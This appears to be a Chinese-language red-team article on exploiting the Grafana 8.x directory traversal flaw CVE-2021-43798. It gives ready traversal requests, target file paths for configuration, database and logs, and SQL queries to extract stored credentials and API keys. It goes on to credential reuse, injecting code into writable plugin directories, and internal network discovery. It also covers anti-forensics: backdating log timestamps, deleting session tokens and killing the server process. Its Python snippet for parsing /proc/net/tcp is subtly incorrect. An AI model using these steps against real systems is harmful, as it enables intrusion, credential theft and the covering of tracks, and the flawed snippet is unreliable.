Grafana 8.x 目录遍历漏洞(CVE-2021-43798)深度利用:除了/etc/passwd,你还能读到哪些关键配置文件?
Grafana 8.x 目录遍历漏洞(CVE-2021-43798)高阶利用:从敏感文件定位到横向渗透的完整路径
当大多数渗透测试者还在通过CVE-2021-43798读取/etc/passwd时,真正的红队成员已经开始利用这个漏洞绘制整个Grafana生态系统的攻击面地图。本文将揭示如何将这个看似简单的目录遍历漏洞转化为企业内网渗透的跳板。
1. 漏洞利用的进阶起点:超越基础文件读取
传统漏洞复现往往止步于获取/etc/passwd证明漏洞存在,但在实际红队作战中,我们需要建立更系统的文件枚举策略。Grafana的安装特性决定了其关键文件通常分布在以下路径:
/usr/share/grafana/conf/defaults.ini # 默认配置模板 /etc/grafana/grafana.ini # 主配置文件 /var/lib/grafana/grafana.db # SQLite数据库 /var/log/grafana/grafana.log # 应用日志 /home/grafana/.bash_history # 历史命令记录关键技巧:通过组合../的数量差异来适应不同环境。例如:
GET /public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini GET /public/plugins/alertlist/../../../../../../../../../usr/share/grafana/conf/defaults.ini2. 配置文件深度解析:从信息收集到凭据获取
grafana.ini文件是攻击者的金矿,其典型高价值字段包括:
| 配置节 | 关键参数 | 攻击价值 |
|---|---|---|
| [database] | password, url | 数据库直接访问凭据 |
| [security] | secret_key, admin_password | 会话伪造与管理员账户劫持 |
| [smtp] | user, password | 邮件服务器凭据重用 |
| [auth.ldap] | bind_password | 企业域认证凭据泄露 |
实战案例:当发现数据库配置为PostgreSQL时,可尝试以下攻击链:
- 通过
grafana.ini获取数据库连接字符串 - 使用
psql直接连接并执行SQL查询 - 从
dashboard表提取保存的API密钥和敏感数据
3. 数据库文件分析与利用技巧
grafana.db作为SQLite数据库,包含多个关键表:
-- 获取所有保存的数据源配置 SELECT * FROM data_source; -- 提取仪表板中的敏感注释 SELECT title, data FROM dashboard WHERE data LIKE '%password%'; -- 查询用户API密钥 SELECT name, key FROM api_key WHERE expires > datetime('now');高级技巧:当遇到数据库被锁定时,可以:
- 下载整个数据库文件到本地分析
- 使用
sqlite3 grafana.db ".dump" > dump.sql导出数据 - 搜索加密字段时注意Base64编码内容
4. 日志与临时文件中的攻击线索
Grafana日志文件往往被忽视,却可能包含:
- 管理员操作记录(包含敏感参数)
- 插件加载错误(暴露路径信息)
- 第三方服务集成错误(包含API密钥)
典型日志路径:
/var/log/grafana/grafana.log /var/lib/grafana/data/log/*.log /tmp/grafana-*.log日志分析模式:
# 查找可能的凭据泄露 grep -iE "password|secret|key|token" grafana.log # 提取外部服务连接信息 grep -i "http://\|https://" grafana.log | awk '{print $NF}'5. 横向移动:从Grafana到内网渗透
获得Grafana资产后,红队应建立以下攻击矩阵:
凭据重用攻击:
- 测试数据库密码是否适用于其他服务
- 检查SMTP凭据是否可用于邮件服务器渗透
插件供应链攻击:
- 分析
/var/lib/grafana/plugins/目录结构 - 查找可写的插件目录注入恶意代码
- 分析
服务发现:
- 从配置文件中提取内部API端点
- 利用
/proc/net/tcp发现内网连接
# 自动化提取内网IP的Python示例 import re with open('/proc/net/tcp') as f: ips = set(re.findall(r'[0-9A-F]{8}', f.read())) print({f"{int(ip[:2],16)}.{int(ip[2:4],16)}.{int(ip[4:6],16)}.{int(ip[6:8],16)}" for ip in ips if not ip.startswith('7F')})6. 痕迹清除与反取证策略
专业红队操作需考虑:
- 修改日志文件时间戳:
touch -d "2023-01-01 00:00:00" /var/log/grafana/grafana.log - 数据库操作痕迹清理:
DELETE FROM user_auth_token WHERE created < datetime('now','-1 day'); - 内存中残留进程处理:
pkill -f grafana-server && /bin/true
在最近一次内部红队演练中,我们通过Grafana漏洞成功获取了AWS访问密钥,这些密钥被意外保存在一个已删除但未清空的数据库页面中。这再次证明,深度文件分析往往能发现意外收获。
